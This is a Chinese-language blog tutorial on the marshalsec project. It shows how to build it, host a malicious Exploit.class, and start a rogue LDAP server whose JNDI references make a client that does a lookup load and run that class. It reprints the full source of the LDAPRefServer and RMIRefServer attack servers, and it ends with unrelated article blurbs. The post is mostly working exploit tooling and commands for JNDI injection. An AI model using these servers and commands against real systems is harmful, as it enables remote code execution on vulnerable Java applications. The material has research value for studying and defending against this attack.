java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。

本文主要是介绍java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

开源项目的git代码地址:GitHub - mbechler/marshalsec

实现了ldap,rmi 的server端代码。

shi

编译

这里跳过编译时的test

mvn "-Dmaven.test.skip=true" -P  clean package

编译后target目录 

 

演示如何启动ldap服务

上传编译后的class文件到http服务器

把Exploit.class文件放在http服务器上,这里使用nginx服务器,访问地址为http://127.0.0.1/test/Exploit.class.

启动ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1099

其中: http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1099 指ldap服务的端口

 看到listening on  0.0.0.0:1099即启动成功

java 使用jndi 加载ladp上的class文件,并在本地执行

package test.anquan;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class Test {public static void main(String[] args) throws NamingException {//	     Hashtable<String,String> HashEnv = new Hashtable<String,String>();HashEnv.put(Context.SECURITY_AUTHENTICATION, "simple"); // LDAP访问安全级别(none,simple,strong)
//        HashEnv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); // LDAP工厂类Context ctx = new InitialContext();ctx.lookup("ldap://127.0.0.1:1099/test/#Exploit");ctx.close();}
}

输出

 具体报错原因,后面有时间在分析把

项目中关于ldap,rmi的server端实现代码

ldap


package marshalsec.jndi;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;/*** LDAP server implementation returning JNDI references* * @author mbechler**/
public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] args ) {int port = 1389;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$System.exit(-1);}else if ( args.length > 1 ) {port = Integer.parseInt(args[ 1 ]);}try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/*** */public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

rmi

package marshalsec.jndi;import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;import javax.naming.Reference;
import javax.net.ServerSocketFactory;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import marshalsec.util.Reflections;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;/*** Generic JRMP listener* * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.* * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.* * @author mbechler**/
@SuppressWarnings ( {"restriction"
} )
public class RMIRefServer implements Runnable {private int port;private ServerSocket ss;private Object waitLock = new Object();private boolean exit;private boolean hadConnection;private URL classpathUrl;public RMIRefServer ( int port, URL classpathUrl ) throws IOException {this.port = port;this.classpathUrl = classpathUrl;this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);}public boolean waitFor ( int i ) {try {if ( this.hadConnection ) {return true;}System.err.println("Waiting for connection");synchronized ( this.waitLock ) {this.waitLock.wait(i);}return this.hadConnection;}catch ( InterruptedException e ) {return false;}}/*** */public void close () {this.exit = true;try {this.ss.close();}catch ( IOException e ) {}synchronized ( this.waitLock ) {this.waitLock.notify();}}public static final void main ( final String[] args ) {int port = 1099;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");System.exit(-1);return;}if ( args.length >= 2 ) {port = Integer.parseInt(args[ 1 ]);}try {System.err.println("* Opening JRMP listener on " + port);RMIRefServer c = new RMIRefServer(port, new URL(args[ 0 ]));c.run();}catch ( Exception e ) {System.err.println("Listener error");e.printStackTrace(System.err);}}@Overridepublic void run () {try {@SuppressWarnings ( "resource" )Socket s = null;try {while ( !this.exit && ( s = this.ss.accept() ) != null ) {try {s.setSoTimeout(5000);InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();System.err.println("Have connection from " + remote);InputStream is = s.getInputStream();InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);// Read magic (or HTTP wrapper)bufIn.mark(4);try ( DataInputStream in = new DataInputStream(bufIn) ) {int magic = in.readInt();short version = in.readShort();if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {s.close();continue;}OutputStream sockOut = s.getOutputStream();BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);try ( DataOutputStream out = new DataOutputStream(bufOut) ) {byte protocol = in.readByte();switch ( protocol ) {case TransportConstants.StreamProtocol:out.writeByte(TransportConstants.ProtocolAck);if ( remote.getHostName() != null ) {out.writeUTF(remote.getHostName());}else {out.writeUTF(remote.getAddress().toString());}out.writeInt(remote.getPort());out.flush();in.readUTF();in.readInt();case TransportConstants.SingleOpProtocol:doMessage(s, in, out);break;default:case TransportConstants.MultiplexProtocol:System.err.println("Unsupported protocol");s.close();continue;}bufOut.flush();out.flush();}}}catch ( InterruptedException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}finally {System.err.println("Closing connection");s.close();}}}finally {if ( s != null ) {s.close();}if ( this.ss != null ) {this.ss.close();}}}catch ( SocketException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}}private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {System.err.println("Reading message...");int op = in.read();switch ( op ) {case TransportConstants.Call:// service incoming RMI calldoCall(in, out);break;case TransportConstants.Ping:// send ack for pingout.writeByte(TransportConstants.PingAck);break;case TransportConstants.DGCAck:UID.read(in);break;default:throw new IOException("unknown transport op " + op);}s.close();}private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {ObjectInputStream ois = new ObjectInputStream(in) {@Overrideprotected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) {return ObjID[].class;}else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) {return ObjID.class;}else if ( "java.rmi.server.UID".equals(desc.getName()) ) {return UID.class;}else if ( "java.lang.String".equals(desc.getName()) ) {return String.class;}throw new IOException("Not allowed to read object");}};ObjID read;try {read = ObjID.read(ois);}catch ( java.io.IOException e ) {throw new MarshalException("unable to read objID", e);}if ( read.hashCode() == 2 ) {// DGChandleDGC(ois);}else if ( read.hashCode() == 0 ) {if ( handleRMI(ois, out) ) {this.hadConnection = true;synchronized ( this.waitLock ) {this.waitLock.notifyAll();}return;}}}/*** @param ois* @param out* @throws IOException* @throws ClassNotFoundException* @throws NamingException*/private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {int method = ois.readInt(); // methodois.readLong(); // hashif ( method != 2 ) { // lookupreturn false;}String object = (String) ois.readObject();System.err.println("Is RMI.lookup call for " + object + " " + method);out.writeByte(TransportConstants.Return);// transport optry ( ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl) ) {oos.writeByte(TransportConstants.NormalReturn);new UID().write(oos);System.err.println(String.format("Sending remote classloading stub targeting %s",new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));Field refF = RemoteObject.class.getDeclaredField("ref");refF.setAccessible(true);refF.set(rw, new UnicastServerRef(12345));oos.writeObject(rw);oos.flush();out.flush();}return true;}/*** @param ois* @throws IOException* @throws ClassNotFoundException*/private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {ois.readInt(); // methodois.readLong(); // hashSystem.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));}@SuppressWarnings ( "deprecation" )protected static Object makeDummyObject ( String className ) {try {ClassLoader isolation = new ClassLoader() {};ClassPool cp = new ClassPool();cp.insertClassPath(new ClassClassPath(Dummy.class));CtClass clazz = cp.get(Dummy.class.getName());clazz.setName(className);return clazz.toClass(isolation).newInstance();}catch ( Exception e ) {e.printStackTrace();return new byte[0];}}public static class Dummy implements Serializable {private static final long serialVersionUID = 1L;}static final class MarshalOutputStream extends ObjectOutputStream {private URL sendUrl;public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {super(out);this.sendUrl = u;}MarshalOutputStream ( OutputStream out ) throws IOException {super(out);}@Overrideprotected void annotateClass ( Class<?> cl ) throws IOException {if ( this.sendUrl != null ) {writeObject(this.sendUrl.toString());}else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {writeObject(null);}else {URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();String cb = "";for ( URL u : us ) {cb += u.toString();}writeObject(cb);}}/*** Serializes a location from which to load the specified class.*/@Overrideprotected void annotateProxyClass ( Class<?> cl ) throws IOException {annotateClass(cl);}}
}

这篇关于java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1140249

相关文章

Java设计模式---迭代器模式(Iterator)解读

《Java设计模式---迭代器模式(Iterator)解读》:本文主要介绍Java设计模式---迭代器模式(Iterator),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,... 目录1、迭代器(Iterator)1.1、结构1.2、常用方法1.3、本质1、解耦集合与遍历逻辑2、统一

Java内存分配与JVM参数详解(推荐)

《Java内存分配与JVM参数详解(推荐)》本文详解JVM内存结构与参数调整,涵盖堆分代、元空间、GC选择及优化策略,帮助开发者提升性能、避免内存泄漏,本文给大家介绍Java内存分配与JVM参数详解,... 目录引言JVM内存结构JVM参数概述堆内存分配年轻代与老年代调整堆内存大小调整年轻代与老年代比例元空

深度解析Java DTO(最新推荐)

《深度解析JavaDTO(最新推荐)》DTO(DataTransferObject)是一种用于在不同层(如Controller层、Service层)之间传输数据的对象设计模式,其核心目的是封装数据,... 目录一、什么是DTO?DTO的核心特点:二、为什么需要DTO?(对比Entity)三、实际应用场景解析

Java 线程安全与 volatile与单例模式问题及解决方案

《Java线程安全与volatile与单例模式问题及解决方案》文章主要讲解线程安全问题的五个成因(调度随机、变量修改、非原子操作、内存可见性、指令重排序)及解决方案,强调使用volatile关键字... 目录什么是线程安全线程安全问题的产生与解决方案线程的调度是随机的多个线程对同一个变量进行修改线程的修改操

关于集合与数组转换实现方法

《关于集合与数组转换实现方法》:本文主要介绍关于集合与数组转换实现方法,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、Arrays.asList()1.1、方法作用1.2、内部实现1.3、修改元素的影响1.4、注意事项2、list.toArray()2.1、方

从原理到实战深入理解Java 断言assert

《从原理到实战深入理解Java断言assert》本文深入解析Java断言机制,涵盖语法、工作原理、启用方式及与异常的区别,推荐用于开发阶段的条件检查与状态验证,并强调生产环境应使用参数验证工具类替代... 目录深入理解 Java 断言(assert):从原理到实战引言:为什么需要断言?一、断言基础1.1 语

深度解析Java项目中包和包之间的联系

《深度解析Java项目中包和包之间的联系》文章浏览阅读850次,点赞13次,收藏8次。本文详细介绍了Java分层架构中的几个关键包:DTO、Controller、Service和Mapper。_jav... 目录前言一、各大包1.DTO1.1、DTO的核心用途1.2. DTO与实体类(Entity)的区别1

Java中的雪花算法Snowflake解析与实践技巧

《Java中的雪花算法Snowflake解析与实践技巧》本文解析了雪花算法的原理、Java实现及生产实践,涵盖ID结构、位运算技巧、时钟回拨处理、WorkerId分配等关键点,并探讨了百度UidGen... 目录一、雪花算法核心原理1.1 算法起源1.2 ID结构详解1.3 核心特性二、Java实现解析2.

使用Python实现可恢复式多线程下载器

《使用Python实现可恢复式多线程下载器》在数字时代,大文件下载已成为日常操作,本文将手把手教你用Python打造专业级下载器,实现断点续传,多线程加速,速度限制等功能,感兴趣的小伙伴可以了解下... 目录一、智能续传:从崩溃边缘抢救进度二、多线程加速:榨干网络带宽三、速度控制:做网络的好邻居四、终端交互

SpringBoot整合liteflow的详细过程

《SpringBoot整合liteflow的详细过程》:本文主要介绍SpringBoot整合liteflow的详细过程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋...  liteflow 是什么? 能做什么?总之一句话:能帮你规范写代码逻辑 ,编排并解耦业务逻辑,代码